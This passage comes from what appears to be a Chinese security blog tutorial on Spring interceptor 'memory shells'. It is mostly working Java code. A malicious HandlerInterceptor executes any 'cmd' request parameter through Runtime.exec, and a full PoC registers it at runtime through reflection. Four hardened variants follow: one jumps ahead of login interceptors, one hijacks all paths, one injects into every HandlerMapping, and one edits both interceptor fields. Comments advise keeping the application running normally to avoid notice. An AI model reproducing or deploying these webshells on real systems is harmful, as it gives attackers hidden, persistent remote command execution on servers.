// 2. 属性被 private 修饰,所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

org.springframework.context.support.LiveBeansView 类在 spring-context 3.2.x 版本(现在最新版本是 5.3.x)才加入其中,所以比较低版本的 spring 无法通过此方法获得 ApplicationContext 的实例。

获取adaptedInterceptors属性值

获得 ApplicationContext 实例后,还需要知道 org.springframework.web.servlet.handler.AbstractHandlerMapping 类实例的 bean name 叫什么。

image-20260421215103534

我们可以通过ApplicationContext上下文来获取AbstractHandlerMapping,进而反射获取adaptedInterceptors属性值

1
2
3
4
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

实现恶意Interceptor

这里选择继承HandlerInterceptor类,并重写其preHandle方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.shell.interceptor;
 
import org.springframework.web.servlet.HandlerInterceptor;
 
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
 
public class Shell_Interceptor implements HandlerInterceptor {
 
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
            return true;
        }
        return false;
    }
}

动态注册Interceptor

我们知道Spring是通过遍历adaptedInterceptors属性值来执行Interceptor的,因此最后我们只需要将恶意Interceptor加入到 adaptedInterceptors 属性值中就可以了。

1
2
3
//将恶意Interceptor添加入adaptedInterceptors
Shell_Interceptor shell_interceptor = new Shell_Interceptor();
adaptedInterceptors.add(shell_interceptor);

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example.spring.demos.web.interceptor;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@Controller
public class Shell_Intercepto {

    @ResponseBody
    @RequestMapping("/inject")
    public void Inject() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

        //获取上下文环境
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

        //获取adaptedInterceptors属性值
        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);


        //将恶意Interceptor添加入adaptedInterceptors
        Shell_Interceptor shell_interceptor = new Shell_Interceptor();
        adaptedInterceptors.add(shell_interceptor);
    }
    public static class Shell_Interceptor implements HandlerInterceptor {
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Runtime.getRuntime().exec(cmd);
                // 如果想执行完直接看结果不走后续业务,可以返回 false
                // 如果想让业务继续跑掩人耳目,可以返回 true
                return true;
            }
            // 关键:如果没有 cmd 参数,一定要返回 true 让正常业务通过!
            return true;
        }
    }
}

这里得屏蔽之前写的配置才可执行

image-20260421221345818

访问对应路由/inject

image-20260421220301304

image-20260421220313050

成功

但是这里有个问题:

如果我们在实战的时候,项目绝对会有这些正向配置,到时候我们应该怎么办呢(如果目标环境已经有了 WebConfig 定义的拦截器规则,你的内存马确实可能因为优先级、路径冲突或者被其他拦截器提前拦截(比如登录检查)而失效。)

  • 利用 ArrayList 的特性,把马插到最前面(adaptedInterceptors.add(shell_interceptor),这相当于在队伍的最后加了一个人。)
  • 绕过 MappedInterceptor 的路径限制(在 Spring 内部,如果你通过 WebConfig 注册拦截器,Spring 往往会把它们包装成 MappedInterceptor。这种拦截器自带“路径匹配地图”。)
  • “全量注入”:对付多个 HandlerMapping(不要只盯着一个 Bean,要“雨露均沾”。)
  • 直接修改 interceptors 字段(在某些 Spring 版本中,adaptedInterceptors 是由 interceptors 字段演变来的。如果只改前者没反应,实战中我们会双管齐下:反射修改 interceptors 属性(这是原始的拦截器配置列表);反射修改 adaptedInterceptors 属性(这是运行时直接使用的列表))

解决:

暴力插队:抢占 Index 0

解决场景:目标原本有登录拦截器,普通的 add 会排在后面导致无法执行。此 Payload 保证你的马第一个运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@Controller
public class Shell_Intercepto_First {

    @ResponseBody
    @RequestMapping("/inject_first")
    public void Inject() throws Exception {
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
        org.springframework.web.servlet.handler.AbstractHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
        
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(mapping);

        // 【关键修改点】:使用 add(0, ...) 强行插队到保安队伍最前面
        adaptedInterceptors.add(0, new Shell_Interceptor());
    }

    public static class Shell_Interceptor implements HandlerInterceptor {
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Runtime.getRuntime().exec(cmd);
                return false; // 执行完直接截断,不走后面正版的登录拦截逻辑
            }
            return true;
        }
    }
}

绕过路径限制 (裸 Interceptor 注入)

解决场景:正向配置的拦截器通常带路径匹配(如 /admin/**)。我们通过底层注入不带包装的拦截器,实现全路径劫持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@Controller
public class Shell_Intercepto_Raw {

    @ResponseBody
    @RequestMapping("/inject_raw")
    public void Inject() throws Exception {
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
        org.springframework.web.servlet.handler.AbstractHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
        
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(mapping);

        // 【关键逻辑点】:直接 add 原始实现类对象
        // Spring 会因为该对象不是 MappedInterceptor 类型而默认其拦截所有路径(/**)
        adaptedInterceptors.add(new Shell_Interceptor());
    }

    public static class Shell_Interceptor implements HandlerInterceptor {
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            if (request.getParameter("cmd") != null) {
                Runtime.getRuntime().exec(request.getParameter("cmd"));
                return false;
            }
            return true;
        }
    }
}

全量注入 (多 HandlerMapping 对抗)

解决场景:Spring Boot 默认存在多个 Mapping(处理静态资源、欢迎页等)。此方式确保“雨露均沾”,无论请求落在哪都能触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@Controller
public class Shell_Intercepto_All {

    @ResponseBody
    @RequestMapping("/inject_all")
    public void Inject() throws Exception {
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

        // 【关键修改点】:获取容器中所有的 HandlerMapping Bean
        java.util.Map<String, org.springframework.web.servlet.HandlerMapping> allMappings = 
            org.springframework.beans.factory.BeanFactoryUtils.beansOfTypeIncludingAncestors(context, org.springframework.web.servlet.HandlerMapping.class, true, false);

        for (org.springframework.web.servlet.HandlerMapping hm : allMappings.values()) {
            // 只有继承自 AbstractHandlerMapping 的才有拦截器链
            if (hm instanceof org.springframework.web.servlet.handler.AbstractHandlerMapping) {
                java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
                field.setAccessible(true);
                java.util.ArrayList<Object> list = (java.util.ArrayList<Object>)field.get(hm);
                list.add(0, new Shell_Interceptor());
            }
        }
    }

    public static class Shell_Interceptor implements HandlerInterceptor {
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            if (request.getParameter("cmd") != null) {
                Runtime.getRuntime().exec(request.getParameter("cmd"));
                return false;
            }
            return true;
        }
    }
}

双管齐下 (双字段同步修改)

解决场景:某些高版本 Spring 会根据 interceptors 重新生成 adaptedInterceptors。同步修改这两个字段最保险。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
@Controller
public class Shell_Intercepto_Double {

    @ResponseBody
    @RequestMapping("/inject_double")
    public void Inject() throws Exception {
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
        org.springframework.web.servlet.handler.AbstractHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

        // 【关键修改点】:同时反射原始字段 interceptors 和 运行字段 adaptedInterceptors
        java.lang.reflect.Field f_origin = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("interceptors");
        java.lang.reflect.Field f_runtime = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        f_origin.setAccessible(true);
        f_runtime.setAccessible(true);

        java.util.List<Object> interceptors = (java.util.List<Object>) f_origin.get(mapping);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) f_runtime.get(mapping);

        Shell_Interceptor shell = new Shell_Interceptor();
        // 双管齐下
        if (interceptors != null) {
            interceptors.add(0, shell);
        }
        adaptedInterceptors.add(0, shell);
    }

    public static class Shell_Interceptor implements HandlerInterceptor {
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            if (request.getParameter("cmd") != null) {
                Runtime.getRuntime().exec(request.getParameter("cmd"));
                return false;
            }
            return true;
        }
    }
}

内存马系列---Spring型
http://example.com/2026/04/24/内存马系列---Spring型/
作者
Piggy Sprint
发布于
2026年4月24日
许可协议